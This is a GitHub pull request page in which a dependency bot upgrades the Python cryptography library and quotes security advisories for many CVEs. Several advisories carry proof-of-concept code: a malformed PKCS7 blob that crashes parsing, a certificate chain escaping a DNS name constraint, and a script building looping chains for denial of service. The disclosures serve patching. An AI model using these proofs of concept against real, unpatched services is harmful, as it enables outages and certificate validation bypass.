Update dependency cryptography to v49 [SECURITY] by renovate[bot] · Pull Request #7 · maxwolfe/autocsr

renovate · 2023-05-18T22:43:19Z

This PR contains the following updates:

Package	Change	Age	Confidence
cryptography (changelog)	`^3.4.7` → `^49.0.0`
cryptography (changelog)	`==3.4.7` → `==49.0.0`

Cipher.update_into can corrupt memory if passed an immutable python object as the outbuf

CVE-2023-23931 / GHSA-w7pp-m8wf-vj6r

More information

Details

Previously, Cipher.update_into would accept Python objects which implement the buffer protocol, but provide only immutable buffers:

>>> outbuf = b"\x00" * 32
>>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor()
>>> c.update_into(b"\x00" * 16, outbuf)
16
>>> outbuf
b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

This would allow immutable objects (such as bytes) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone.

This now correctly raises an exception.

This issue has been present since update_into was originally introduced in cryptography 1.8.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vulnerable OpenSSL included in cryptography wheels

CVE-2023-0286 / GHSA-x4qr-2fvf-3mr5

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vulnerable OpenSSL included in cryptography wheels

GHSA-5cpq-8wj7-hf2v

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

pyca/cryptography's wheels include vulnerable OpenSSL

GHSA-jm77-qphf-c4w8

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vulnerable OpenSSL included in cryptography wheels

GHSA-v8gr-m533-ghj9

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

CVE-2023-49083 / GHSA-jfhm-5ghh-2f97

More information

Details

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.

PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Python Cryptography package vulnerable to Bleichenbacher timing oracle attack

CVE-2023-50782 / GHSA-3ww4-gg4f-jr7f

More information

Details

A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Null pointer dereference in PKCS12 parsing

CVE-2024-0727 / GHSA-9v9h-cgj8-h64p

More information

Details

Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL
to crash leading to a potential Denial of Service attack

Impact summary: Applications loading files in the PKCS12 format from untrusted
sources might terminate abruptly.

A file in PKCS12 format can contain certificates and keys and may come from an
untrusted source. The PKCS12 specification allows certain fields to be NULL, but
OpenSSL does not correctly check for this case. This can lead to a NULL pointer
dereference that results in OpenSSL crashing. If an application processes PKCS12
files from an untrusted source using the OpenSSL APIs then that application will
be vulnerable to this issue.

OpenSSL APIs that are vulnerable to this are: PKCS12_parse(),
PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()
and PKCS12_newpass().

We have also fixed a similar issue in SMIME_write_PKCS7(). However since this
function is related to writing data we do not consider it security significant.

The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.

Severity

CVSS Score: 5.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves

CVE-2026-26007 / GHSA-r6ph-v2qm-q3c2

More information

Details

Vulnerability Summary

The public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

Only SECT curves are impacted by this.

Credit

This vulnerability was discovered by:

XlabAI Team of Tencent Xuanwu Lab
Atuin Automated Vulnerability Discovery Engine

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

cryptography has incomplete DNS name constraint enforcement on peer names

CVE-2026-34073 / GHSA-m959-cc7f-wv43

More information

Details

Summary

In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com.

This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.

In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.

See CVE-2025-61727 for a similar bypass in Go's crypto/x509.

Remediation

Users should upgrade to 46.0.6 or newer.

Attribution

Reporter: @1seal

Severity

CVSS Score: 1.7 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Vulnerable OpenSSL included in cryptography wheels

GHSA-537c-gmf6-5ccf

More information

Details

pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC


#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829

PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)

Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

CVSS Score: 8.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

pyca/cryptography (cryptography)

Conversation

renovate Bot commented May 18, 2023 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Cipher.update_into can corrupt memory if passed an immutable python object as the outbuf

Details

Severity

References

Vulnerable OpenSSL included in cryptography wheels

Details

Severity

References

Vulnerable OpenSSL included in cryptography wheels

Details

Severity

References

pyca/cryptography's wheels include vulnerable OpenSSL

Details

Severity

References

Vulnerable OpenSSL included in cryptography wheels

Details

Severity

References

cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

Details

Summary

PoC

Impact

Severity

References

Python Cryptography package vulnerable to Bleichenbacher timing oracle attack

Details

Severity

References

Null pointer dereference in PKCS12 parsing

Details

Severity

References

cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves

Details

Vulnerability Summary

Credit

Severity

References

cryptography has incomplete DNS name constraint enforcement on peer names

Details

Summary

Remediation

Attribution

Severity

References

Vulnerable OpenSSL included in cryptography wheels

Details

Severity

References

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

Details

Summary

PoC

Impact

Severity

References

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

Details

Summary

Details

PoC

Impact

Severity

References

Release Notes

Configuration

Uh oh!

renovate Bot commented Feb 11, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

⚠️ Artifact update problem

File name: poetry.lock

Uh oh!

Reviewers

Assignees

renovate Bot commented May 18, 2023 •

edited

Loading

renovate Bot commented Feb 11, 2026 •

edited

Loading